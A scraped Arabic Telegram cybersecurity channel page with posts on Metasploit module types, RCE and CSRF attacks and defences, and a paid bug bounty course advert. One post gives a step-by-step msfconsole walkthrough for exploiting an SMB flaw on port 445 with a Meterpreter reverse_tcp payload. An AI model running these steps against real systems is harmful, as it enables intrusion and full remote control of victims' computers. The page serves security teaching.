عالم الأمن السيبراني
16.5K subscribers
593 photos
155 videos
630 files
315 links
مالك القناة :
@Adeeb_o

برمجة
أمن سيبراني
شروحات

برمجة
Download Telegram
نشتي معمل كمبيوترات 🥹
أدوات Metasploit تُصنّف عادةً إلى عدة فئات
هذه الفئات تشمل:

1. أدوات الاستغلال (Exploitation):
- تُستخدم لاستغلال الثغرات في الأنظمة المستهدفة.

2. أدوات الفحص (Scanning):
- تُستخدم لاكتشاف وتحديد الثغرات الموجودة في الأنظمة المستهدفة.

3. أدوات المساعدة (Auxiliary):
- تتضمن أدوات تُستخدم لأغراض متعددة مثل فحص الشبكات، اكتشاف الثغرات، أو حتى استخدام بعض الثغرات البسيطة

4. أدوات التحميل (Payloads):
- تستخدم لتمرير أوامر إلى الأنظمة المخترقة بعد تنفيذ الاستغلال. تشمل Meterpreter، shell، وغيرها من الأنواع.
5. أدوات التشفير والتخفي (Encoders and Obfuscation):
- تُستخدم لتشفير أو تعديل التعليمات البرمجية الخبيثة لجعلها أقل قابلية للاكتشاف من قبل أنظمة الحماية.
6. أدوات ما بعد الاستغلال (Post-Exploitation):
- تُستخدم للقيام بعمليات بعد الاستغلال الناجح مثل تجميع المعلومات من النظام المخترق، تحميل ملفات، أو الحفاظ على الوصول المستمر.
اولا نبدأ بادوات الاستغلال لنفرض ان لدينا نظام وهمي يحتوي على ثغره smb
التي يمكن الوصول إليها من خلال منافذ
منفذ 445
منفذ 3389
منفذ 139
لناخذ منفذ 445
يمكن استغلال هذا المنفذ في اكثر من نظام حيث توجد في نظام
1/windows xp
2/windows Server 2003
3/Windows 7
4/Windows 8
5/Windows 10 (قبل اصدار2017)
6/Windows Server 2008
7/Windows Server 2012

حيث اولا تقوم بفحص المنافذ عن طريق nmap
بستخدم اداه
Nmap -p 445 <ip the computer >

وبعد ذالك نقوم بفتح اداه msfconsole

ونبحث عن ثغره
Ms07-010
عنطريق امر
1/Search ms07-010
هنا سوف تظهر الثغره المستخدم نقوم بنسخها
ونقوم بكتابه امر
2/Use الثغره المنسوخه من خلال البحث
3 set RHOSTS ايبي الجهاز المستهدف
4/ set payload windows/meterpreter/reverse_tcp
5/set LHOST الايبي الخاص بجهاز المهاجم
6/ exploit

وبعد ذالك تفتتح لك جلسه مع الهدف
اكتب امر
7/Session رقم الجلسة
وهنا يمكن التحكم بالحاسوب بصوره كامله

وهذا مثل بسيط وثغره واحد من ٢٢٠٠ ثغره استغلال بدون أدوات المساعده والفحص والتشفير
👍3
Media is too big
VIEW IN TELEGRAM
✅فيديو شرح التصيد اداة theHarvester لجمع المعلومات عن موقع معين و استخراج الـ الايملات
تعميم وزاري بتخفيض ٣٠% لجميع الطلاب في الجامعات الأهلية والحكومية لتخفيف على الطلاب بسبب الأوضاع الصعبة التي يمر بها الطلاب وعدم اخراج اي طالب من قاعات الامتحان أو القاعات الدراسية اذا لم يستطيع الدفع للجامعة
👍10❤3😁1
ما هي RCE؟

RCE (Remote Code Execution)

هي نوع من الثغرات الأمنية التي تسمح للمهاجم بتنفيذ تعليمات برمجية خبيثة على خادم أو جهاز عن بُعد.
يمكن أن تؤدي هذه الثغرة إلى السيطرة الكاملة على النظام المستهدف، مما يمكّن المهاجم من تنفيذ أي أوامر أو برامج كما لو كان لديه وصول مباشر إلى الجهاز.

كيفية تنفيذ RCE

تنفيذ RCE يعتمد على وجود ثغرة في التطبيق أو النظام.
إليك بعض الطرق الشائعة التي يمكن أن تُستخدم لاستغلال هذه الثغرة:

1. استغلال ثغرات البرمجة:

   - حقن الأوامر (Command Injection):
إذا كان التطبيق يسمح بإدخال الأوامر من قبل المستخدم دون التحقق المناسب، يمكن للمهاجم إدخال أوامر نظام التشغيل ليتم تنفيذها.

   - حقن SQL (SQL Injection): في بعض الحالات، يمكن استغلال ثغرات SQL لتنفيذ أوامر على قاعدة البيانات، والتي قد تؤدي إلى تنفيذ تعليمات برمجية على الخادم.

2. ملفات التحميل:

   - إذا كان التطبيق يسمح بتحميل الملفات دون التحقق من نوع الملف، يمكن للمهاجم تحميل ملف يحتوي على تعليمات برمجية خبيثة
(مثل PHP أو ASP)
ثم الوصول إليه عبر المتصفح.

3. التطبيقات الضعيفة:

   - بعض التطبيقات قد تحتوي على مكتبات أو مكونات غير محدثة تحتوي على ثغرات معروفة، مما يسهل على المهاجم استغلالها.

4. استغلال الثغرات في البرمجيات:

   - يمكن أن يستغل المهاجم ثغرات معروفة في البرمجيات المثبتة على الخادم، مثل خوادم الويب أو قواعد البيانات.

كيف يتم الحماية من RCE؟

لحماية الأنظمة من RCE، يجب اتباع أفضل الممارسات الأمنية:

1. التحقق من المدخلات:
تأكد من التحقق من جميع المدخلات التي يقدمها المستخدم، وتجنب إدخال الأوامر مباشرة في النظام.
 
2. تحديث البرمجيات:
حافظ على تحديث جميع البرمجيات والمكتبات المستخدمة لتقليل فرص استغلال الثغرات المعروفة.

3. استخدام جدران الحماية:
استخدام جدران الحماية وأنظمة كشف التسلل لمراقبة ومنع الأنشطة المشبوهة.

4. تقييد الوصول:
تأكد من تقييد الوصول إلى الأنظمة والموارد الحساسة فقط للمستخدمين المصرح لهم.

5. تطبيق مبدأ الحد الأدنى من الامتيازات:
تأكد من أن التطبيقات تعمل بأقل الامتيازات الضرورية لتقليل الأضرار المحتملة إذا تم استغلال الثغرة.

خلاصة

RCE
هي ثغرة خطيرة يمكن أن تؤدي إلى فقدان السيطرة على الأنظمة.
من المهم أن تكون واعيًا لهذه المخاطر وأن تتخذ التدابير اللازمة لحماية الأنظمة والتطبيقات من الاستغلال.
ما هي هجمات CSRF؟

CSRF
(Cross-Site Request Forgery)
هي نوع من الهجمات التي تستغل ثقة المستخدم في موقع ويب. يحدث ذلك عندما يقوم المهاجم بإرسال طلب غير مصرح به إلى موقع ويب حيث يكون المستخدم مسجلاً للدخول، مما يؤدي إلى إجراء غير مرغوب فيه مثل تغيير كلمة المرور أو إجراء تحويلات مالية.

كيف تعمل هجمات CSRF؟
1. تسجيل الدخول:
يقوم المستخدم بتسجيل الدخول إلى موقع ويب (مثل بنك أو موقع للتجارة الإلكترونية).

2. زيارة موقع خبيث:
بعد ذلك، يزور المستخدم موقعًا خبيثًا يحتوي على كود JavaScript أو رابط يؤدي إلى إجراء على الموقع الأصلي.

3. إرسال الطلب:
يقوم الموقع الخبيث بإرسال طلب HTTP إلى الموقع الأصلي باستخدام بيانات اعتماد المستخدم (مثل ملفات تعريف الارتباط).

كيفية التصدي لهجمات CSRF :
هناك عدة طرق لحماية التطبيقات من هجمات CSRF:

1. استخدام رموز CSRF (CSRF Tokens):
   - يتم إنشاء رمز فريد لكل جلسة مستخدم وإضافته كجزء من الطلبات (عادةً في نموذج HTML).
   - يتحقق الخادم من هذا الرمز عند تلقي الطلب. إذا كان الرمز غير صحيح أو مفقود، يتم رفض الطلب.

2. تفعيل SameSite Cookies:
   - يمكن تعيين خاصية SameSite لملفات تعريف الارتباط (cookies) بحيث يتم إرسالها فقط مع الطلبات التي تأتي من نفس الموقع.
   - مثال:
Set-Cookie: sessionId=abc123; SameSite=Strict.

3. التحقق من Referer Header:
   - يمكن التحقق من رأس Referer في الطلبات الواردة للتأكد من أنها تأتي من مصدر موثوق.

4. تقييد العمليات الحساسة:
   - يمكن استخدام أساليب مثل التحقق من كلمة المرور مرة أخرى قبل إجراء تغييرات حساسة مثل تغيير كلمة المرور أو المعلومات المالية.

5. التعليم والتوعية:
   - توعية المستخدمين حول مخاطر CSRF وكيفية التعرف على المواقع الخبيثة.

خلاصة

هجمات CSRF تمثل تهديدًا حقيقيًا للتطبيقات الويب، ولكن باستخدام تقنيات مثل رموز CSRF وتقييد ملفات تعريف الارتباط، يمكنك تقليل المخاطر بشكل كبير.
👍1
ماهي CSRF Tokens؟

CSRF Tokens
(Cross-Site Request Forgery Tokens)
هي رموز تُستخدم كوسيلة للحماية ضد هجمات CSRF، وهي نوع من الهجمات التي تستغل ثقة المستخدم في موقع معين.
عندما يكون المستخدم مسجلاً دخول إلى موقع ويب، يمكن لمهاجم استغلال هذه الثقة لإرسال طلبات غير مصرح بها نيابة عن المستخدم.

كيفية عمل CSRF Tokens:

1. توليد الرمز:
عند تحميل صفحة ويب تحتوي على نموذج (form)، يقوم الخادم بتوليد رمز فريد (token) ويرسله مع الصفحة.

2. إرسال الرمز:
عند إرسال النموذج، يتم تضمين هذا الرمز في الطلب.

3. التحقق من الرمز:
عند استلام الطلب، يتحقق الخادم من أن الرمز المرسل يتطابق مع الرمز المخزن.
إذا كان الرمز غير صحيح أو مفقود، يتم رفض الطلب.

هل يمكن تجاوز CSRF Tokens؟

على الرغم من أن CSRF Tokens تعتبر وسيلة فعالة للحماية، إلا أن هناك بعض السيناريوهات التي يمكن أن تُستغل لتجاوزها:

1. سوء التنفيذ:
إذا لم يتم تنفيذ نظام CSRF بشكل صحيح، مثل عدم توليد الرموز بشكل عشوائي أو عدم التحقق منها بشكل صحيح، يمكن أن يكون هناك ثغرات.

2. التخزين الغير آمن:
إذا تم تخزين الرموز في أماكن يمكن الوصول إليها بسهولة من قبل المهاجمين
(مثل التخزين المحلي في المتصفح)
، فقد يتمكن المهاجم من الوصول إليها.

3. الهندسة الاجتماعية:
يمكن للمهاجم استخدام تقنيات الهندسة الاجتماعية لخداع المستخدمين ليقوموا بإرسال طلبات غير مصرح بها.

4. استخدام HTTP Referer:
بعض المواقع تستخدم رأس HTTP Referer للتحقق من مصدر الطلب.
إذا كان هناك ثغرات في كيفية التحقق من هذا الرأس، يمكن تجاوز الحماية.

خلاصة

بينما تعتبر CSRF Tokens أداة فعالة للحماية ضد هجمات CSRF، فإنها ليست حلاً مطلقًا. يجب دائمًا تنفيذها بشكل صحيح، مع مراعاة أفضل الممارسات الأمنية الأخرى لضمان حماية الموقع والمستخدمين.
👍1
🔹 كورس Bug Bounty Hacker 🐧

✔️بـ اللغه العربية

✅ أكاديمية صحيح

سعر الكورس 50 💲
This media is not supported in your browser
VIEW IN TELEGRAM
✅ الــــمقــــــدمــــــة
This media is not supported in your browser
VIEW IN TELEGRAM
⭐️التعرف ع ثغرات البيانات المسربة
Media is too big
VIEW IN TELEGRAM
تـــــــــــابـــــــــع ⭐️
Media is too big
VIEW IN TELEGRAM
Media is too big
VIEW IN TELEGRAM
👍2
Media is too big
VIEW IN TELEGRAM
⭐️ ثغرات التحكم ⭐️